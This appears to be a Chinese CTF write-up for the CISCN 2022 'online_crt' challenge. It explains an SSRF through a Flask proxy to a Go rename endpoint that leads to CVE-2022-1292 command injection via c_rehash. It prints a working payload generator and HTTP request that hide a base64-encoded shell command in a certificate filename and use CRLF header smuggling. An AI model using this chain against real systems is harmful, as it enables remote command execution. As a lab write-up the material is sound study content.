当前位置: 首页 > news >正文

[CISCN 2022 初赛]online_crt

[CISCN 2022 初赛]online_crt

  • 知识点:SSRF、CVE-2022-1292

1.信息收集

拿到源码后,发现是go和python一起组合成的后端系统,同时可以看出本题的业务是生成ssl证书文件的功能。我们先从flask开始分析,下面只挑函数来分析

def get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress):root_key = rsa.generate_private_key(public_exponent=65537,key_size=2048,backend=default_backend()) #key的生成位置,和输入无关subject = issuer = x509.Name([x509.NameAttribute(NameOID.COUNTRY_NAME, Country),x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, Province),x509.NameAttribute(NameOID.LOCALITY_NAME, City),x509.NameAttribute(NameOID.ORGANIZATION_NAME, OrganizationalName),x509.NameAttribute(NameOID.COMMON_NAME, CommonName),x509.NameAttribute(NameOID.EMAIL_ADDRESS, EmailAddress),])root_cert = x509.CertificateBuilder().subject_name(subject).issuer_name(issuer).public_key(root_key.public_key()).serial_number(x509.random_serial_number()).not_valid_before(datetime.datetime.utcnow()).not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=3650)).sign(root_key, hashes.SHA256(), default_backend()) #会根据输入内容和刚刚的内容生成一串信息crt_name = "static/crt/" + str(uuid.uuid4()) + ".crt" #随机名称(uuid),存放位置是static/crt/with open(crt_name, "wb") as f:f.write(root_cert.public_bytes(serialization.Encoding.PEM)) #根据刚刚的内容写入证书信息return crt_name

拿uuid来生成文件名的函数,在/getcrt下可以触发,同时会回显文件名

@app.route('/createlink', methods=['GET'])
def info():json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}return json.dumps(json_data) 

有危险函数os.popen,可执行程序为c_rehash,这是整个文件唯一一个命令执行的入口

@app.route('/proxy', methods=['GET'])
def proxy():uri = request.form.get("uri", "/")client = socket.socket()client.connect(('localhost', 8887))msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close'''client.send(msg.encode())data = client.recv(2048)client.close()return data.decode()app.run(host="0.0.0.0", port=8888)

一个内网通信服务,这个8887这个数字先记住,估计是在go编写的后端那里还会有这个数字出现。这里有个坑啊,就是他是从form里面获取uri的,也就是post里面的body而不是?uri=xxx这种形式,但是请求方式还是get,我们需要改成post传参然后把POST改成GET即可。

package mainimport ("github.com/gin-gonic/gin""os""strings"
)func admin(c *gin.Context) {staticPath := "/app/static/crt/"oldname := c.DefaultQuery("oldname", "")newname := c.DefaultQuery("newname", "")if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {c.String(500, "error")return}if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {err := os.Rename(staticPath+oldname, staticPath+newname)if err != nil {return}c.String(200, newname)return}c.String(200, "no")
}func index(c *gin.Context) {c.String(200, "hello world")
}func main() {router := gin.Default()router.GET("/", index)router.GET("/admin/rename", admin)if err := router.Run(":8887"); err != nil {panic(err)}
}

找到了flask和8887这个端口通信的原因,根目录没啥含义,如果我们是和/admin/rename通信的话,并且c.Request.Host=admin,就能触发刚刚的证书改名业务

2.查找漏洞

做到这里我们就要去搜搜刚刚发现的命令执行是怎么被触发的,https://blog.csdn.net/qq_65010029/article/details/145919402这个博客提供的CVE-2022-1292刚好是我们需要的,归根结底就是通过构造恶意证书文件名即触发rce,那就和我们刚刚的思路串起来了

创建证书->和8887通信->修改证书名->访问/createlink构造rce

3.构造漏洞

创建证书

首先我们随意创建一个证书,然后在路由下获得他的文件名,拿我的来举例

static/crt/adfac016-8456-498d-9a77-cb08a5ef9aa3.crt

和8887通信

首先生成payload(用网上师傅的代码https://www.nssctf.cn/note/set/3018

import urllib.parse
uri = '''/admin%2frename?oldname=9d00f805-2d21-471c-be2b-c9b27f64163d.crt&newname=`echo%20Y2F0IC8qIA==|base64%20--decode|bash>flag.txt`.crt HTTP/1.1
Host: admin
'''
gopher = uri.replace("\n","\r\n")
payload = urllib.parse.quote(gopher)
print(payload)

得到的是一个二次url编码的伪报文,进入go后端本身需要一层解码,之后还有一层解码即可绕过RawPath特性。

之后就是在proxy路由下去请求

GET /proxy HTTP/1.1
Host: node4.anna.nssctf.cn:28014
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 320uri=/admin%252frename%3Foldname%3Dadfac016-8456-498d-9a77-cb08a5ef9aa3.crt%26newname%3D%60echo%2520Y2F0IC8qIA%3D%3D%7Cbase64%2520--decode%7Cbash%3Eflag.txt%60.crt%20HTTP/1.1%0D%0AHost%3A%20admin%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0AContent-Length%3A%20136%0D%0AConnection%3A%20close

出现新文件名代表改名成功

获取flag

访问/createlink这个路由后,我们就可以在static/crt/目录下获取flag了

http://www.dtcms.com/a/310333.html

相关文章:

  • 基于react的YAPI实战指南
  • JavaWeb--Student2025项目:增删改查
  • 光纤网络FTTx(光接入网的应用类型)
  • 标准项目-----网页五子棋(4)-----游戏大厅+匹配+房间代码
  • Qt Quick 性能优化方法
  • WPF TreeView自带自定义滚动条
  • 云计算k8s集群部署配置问题总结
  • 铁皮矫平机冷知识·第三弹
  • 网站QPS多少才算高并发
  • A∗算法(A-star algorithm)一种在路径规划和图搜索中广泛使用的启发式搜索算法
  • 利用CompletableFuture优化查询效率
  • 1.2.4 砌体结构设计构造要求
  • Dify知识库分段策略详解:通用分段 vs 父子分段
  • 开源框架推荐:API数据批处理与爬虫集成
  • 前端开发一百问(动态更新)
  • 【0基础PS】PS工具详解--仿制图章工具
  • RustFS:高性能文件存储与部署解决方案(MinIO替代方案)
  • MySQL锁的分类 MVCC和S/X锁的互补关系
  • QT6.5.3 vs2022 pcl1.14.1窗体界面打开pcd点云文件
  • PAT 1022 Digital Library
  • nodejs最近开发过程中的总结
  • 【LeetCode】算法详解#11 ---相交链表
  • 智能Agent场景实战指南 Day 29:Agent市场趋势与前沿技术
  • 一篇文章读懂AI Agent(智能体)
  • spring boot 启动报错---java: 无法访问org.springframework.boot.SpringApplication 错误的类文件
  • 获取LLM 内部的结构信息和矩阵维度信息
  • LeetCode 热题100:206. 反转链表
  • 【AI问答】PromQL中interval和rate_interval的区别以及Grafana面板的配置建议
  • 从本地到云端:将Linux文件夹上传至GitHub仓库的完整指南
  • 动态爱心树